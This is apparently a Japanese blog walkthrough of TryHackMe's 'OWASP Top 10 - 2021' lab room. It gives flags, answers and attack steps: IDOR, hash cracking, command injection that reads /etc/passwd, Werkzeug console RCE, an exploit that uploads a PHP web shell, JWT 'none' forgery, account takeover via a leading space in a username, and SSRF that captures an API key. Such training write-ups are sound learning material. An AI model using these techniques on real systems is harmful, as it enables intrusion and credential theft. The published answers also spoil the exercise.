0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】OWASP Top 10 - 2021:Walkthrough

Posted at

概要

TryHackMe「OWASP Top 10 - 2021」のWalkthroughです。

Task4

Q2.Deploy the machine and go to http://MACHINE_IP - Login with the username noot and the password test1234.

ターゲットマシンを起動し、Webサイトにアクセスするとログインフォームが表示されます。

image.png

Username: noot,Password: test1234でログインします。

image.png

Q3.Look at other users' notes. What is the flag?

Hint.The URL contains ?note_id=1 - I wonder what happens if you change the parameter value? You might be able to access another user's notes.

note_id=1のようにnote_idパラメータで指定された番号のノートが表示されるようです。

note_id=0を指定すると別のノートデータを取得でき、フラグを入手しました。

image.png

A.flag{fivefourthree}

Task8

Q1.What is the name of the mentioned directory?

Hint.Have a look at the source code on the /login page.

81番ポートにアクセスします。

image.png

/login.phpのソースコードから/assetsパスを発見しました。

image.png

A./assets

Q2.Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?

/assetsへアクセスするとwebapp.dbを発見しました。

image.png

A.webapp.db

Q3.Use the supporting material to access the sensitive data. What is the password hash of the admin user?

webapp.dbをダウンロードし、データを確認するとアカウント名とパスワードハッシュ値を発見しました。

image.png

A.6eea9b7ef19179a06954edd0f6c05ceb

Q4.What is the admin's plaintext password?

Hint.Read the supporting material.

下記サイトを利用してハッシュ値を解析します。

adminのパスワードハッシュ解析に成功し、パスワードの平文が分かりました。

image.png

A.qwertyuiop

Q5.Log in as the admin. What is the flag?

/login.phpからUsername: admin,Password: qwertyuiopでログインするとフラグを入手できました。

image.png

A.THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}

Task10

Q1.What strange text file is in the website's root directory?

82番ポートにアクセスします。

image.png

$()でコマンドインジェクションに成功しました。

image.png

$(ls)でファイル構成を確認できました。

image.png

A.drpepper.txt

Q2.How many non-root/non-service/non-daemon users are there?

/etc/passwdを確認します。

image.png

A.0

Q3.What user is this app running as?

whoamiコマンドで確認します。

image.png

A.apache

Q4.What is the user's shell set as?

/etc/passwdから確認します。

image.png

A./sbin/nologin

Q5.What version of Alpine Linux is running?

Hint.The version can be found in "/etc/alpine-release".

/etc/alpine-releaseから確認します。

image.png

A.3.16.0

Task11

Q2.What is the value of the flag in joseph's account?

Hint.Is there any security question that can be easily guessed?

85番ポートにアクセスします。

image.png

josephのパスワードが分からないので/resetpass1.phpからパスワード変更を試みます。

image.png

秘密の質問が3つありますが、favorite colorから推測するのが簡単そうです。

image.png

最終的にgreenを入力すると新しいパスワードが発行されたのでメモしておきます。

image.png

新しいパスワードでログインに成功しました。

image.png

テキストファイルからフラグを入手できました。

image.png

A.THM{Not_3ven_c4tz_c0uld_sav3_U!}

Task12

Q1.Navigate to http://TARGET_IP:86/console to access the Werkzeug console.

/consoleにアクセスするとWerkzeugのコンソールが表示されました。

image.png

Q2.What is the database file name (the one with the .db extension) in the current directory?

osモジュールを利用してコンソールからRCEが成功しました。

import os; print(os.popen("ls -l").read())

image.png

A.todo.db

Q3.Modify the code to read the contents of the app.py file, which contains the application's source code. What is the value of the secret_flag variable in the source code?

Hint.The flag looks like THM{...}. Be sure to write it without the surrounding quotes!

app.pyのコードを確認します。

import os; print(os.popen("cat app.py").read())

image.png

A.THM{Just_a_tiny_misconfiguration}

Task15

Q1.What is the content of the /opt/flag.txt file?

Hint.You know it's a bookstore application. You should check for recent unauthenticated bookstore apps RCEs.

84番ポートにアクセスします。

image.png

フッター情報からprojectworldsが分かったのでエクスプロイトを検索するとUnauthenticatedのRCEが見つかりました。

エクスプロイトコードを実行するとシェルの獲得に成功しました。

$ python exploit.py http://10.10.49.239:84          
> Attempting to upload PHP web shell...
> Verifying shell upload...
> Web shell uploaded to http://10.10.49.239:84/bootstrap/img/vNbVWnLMHO.php
> Example command usage: http://10.10.49.239:84/bootstrap/img/vNbVWnLMHO.php?cmd=whoami
> Do you wish to launch a shell here? (y/n): y
RCE $ whoami
apache

/opt/flag.txtからフラグを入手できました。

$ cat /opt/flag.txt
THM{But_1ts_n0t_my_f4ult!}

A.THM{But_1ts_n0t_my_f4ult!}

Task17

Q1.What is the flag that you found in darren's account?

8088ポートにアクセスします。

image.png

アカウント作成ページでユーザー名darrenアカウントの作成を試みると既に作成されたアカウントだと分かります。

image.png

再度、アカウント作成ページからdarren(先頭に空白を入れる)アカウントを作成し、ログインすると既存のdarrenアカウントにログイン出来ました。

image.png

A.fe86079416a21a3c99937fea8874b667

Q3.What is the flag that you found in arthur's account?

同様の手法でarthurアカウントへのログインにも成功しました。

image.png

A.d9ac0f7db4fda460ac3edeb75d75e16e

Task19

Q1.What is the SHA-256 hash of hxxps://code.jquery.com/jquery-1.12.4.min.js?

Hint.Remember you can use hxxps://www.srihash.org/ to calculate integrity hashes for SRI.

下記サイトでSHA256ハッシュ値を生成します。

image.png

A.sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=

Task20

Q1.Try logging into the application as guest. What is guest's account password?

Hint.Try logging in with the wrong credentials.

8089番ポートにアクセスします。

image.png

Username: guest,Password: guestでログインに成功しました。

image.png

A.guest

Q2.What is the name of the website's cookie containing a JWT token?

デベロッパーツールからJWTを確認できます。

image.png

A.jwt-session

Q4.What is the flag presented to the admin user?

JWTの解析には下記サイトを利用しました。

アルゴリズムをnoneに、usernameadminに編集し、値をデベロッパーツールでcookieに入れるとadminページが表示され、フラグを入手できました。

image.png

image.png

A.THM{Dont_take_cookies_from_strangers}

Task21

Q1.What IP address is the attacker using?

Hint.Check for common actions in a short sequence of time.

管理者アカウントでの認証を試みて、失敗しているログが怪しいです。

$ cat login-logs_1595366583422.txt                  
200 OK           12.55.22.88 jr22          2019-03-18T09:21:17 /login
200 OK           14.56.23.11 rand99        2019-03-18T10:19:22 /login
200 OK           17.33.10.38 afer11        2019-03-18T11:11:44 /login
200 OK           99.12.44.20 rad4          2019-03-18T11:55:51 /login
200 OK           67.34.22.10 bff1          2019-03-18T13:08:59 /login
200 OK           34.55.11.14 hax0r         2019-03-21T16:08:15 /login
401 Unauthorised 49.99.13.16 admin         2019-03-21T21:08:15 /login
401 Unauthorised 49.99.13.16 administrator 2019-03-21T21:08:20 /login
401 Unauthorised 49.99.13.16 anonymous     2019-03-21T21:08:25 /login
401 Unauthorised 49.99.13.16 root          2019-03-21T21:08:30 /login

A.49.99.13.16

Q2.What kind of attack is being carried out?

Hint.What do you call trying combinations of usernames and passwords to gain access to users' accounts?

A.Brute Force

Task22

Q1.Explore the website. What is the only host allowed to access the admin area?

Hint.Try to access the admin area. Can you find any useful info in the error messages?

8087番ポートにアクセスします。

image.png

ディレクトリスキャンをします。

$ dirsearch -u http://10.10.48.207:8087/
[13:03:15] 200 -   48B  - /admin                                            
[13:04:10] 200 -    2KB - /console                                          
[13:04:21] 200 -   20B  - /download

/adminにアクセスすると、localhostからのみアクセス可能なようです。

image.png

A.localhost

Q2.Check the "Download Resume" button. Where does the server parameter point to?

インデックスページのDownload ResumeからPDFファイルをダウンロードできるようです。
secure-file-storage.com:8087を通信先に指定しています。

image.png

A.secure-file-storage.com

Q3.Using SSRF, make the application send the request to your AttackBox instead of the secure file storage. Are there any API keys in the intercepted request?

Netcatでリッスンします。

$ nc -lvnp 1234
listening on [any] 1234 ...

通信先のサーバーを自身のマシンに指定します。

image.png

フラグを入手できました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.48.207] 47524
GET /public-docs-k057230990384293/75482342.pdf HTTP/1.1
Host: 10.6.55.144:1234
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
X-API-KEY: THM{Hello_Im_just_an_API_key}

A.THM{Hello_Im_just_an_API_key}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?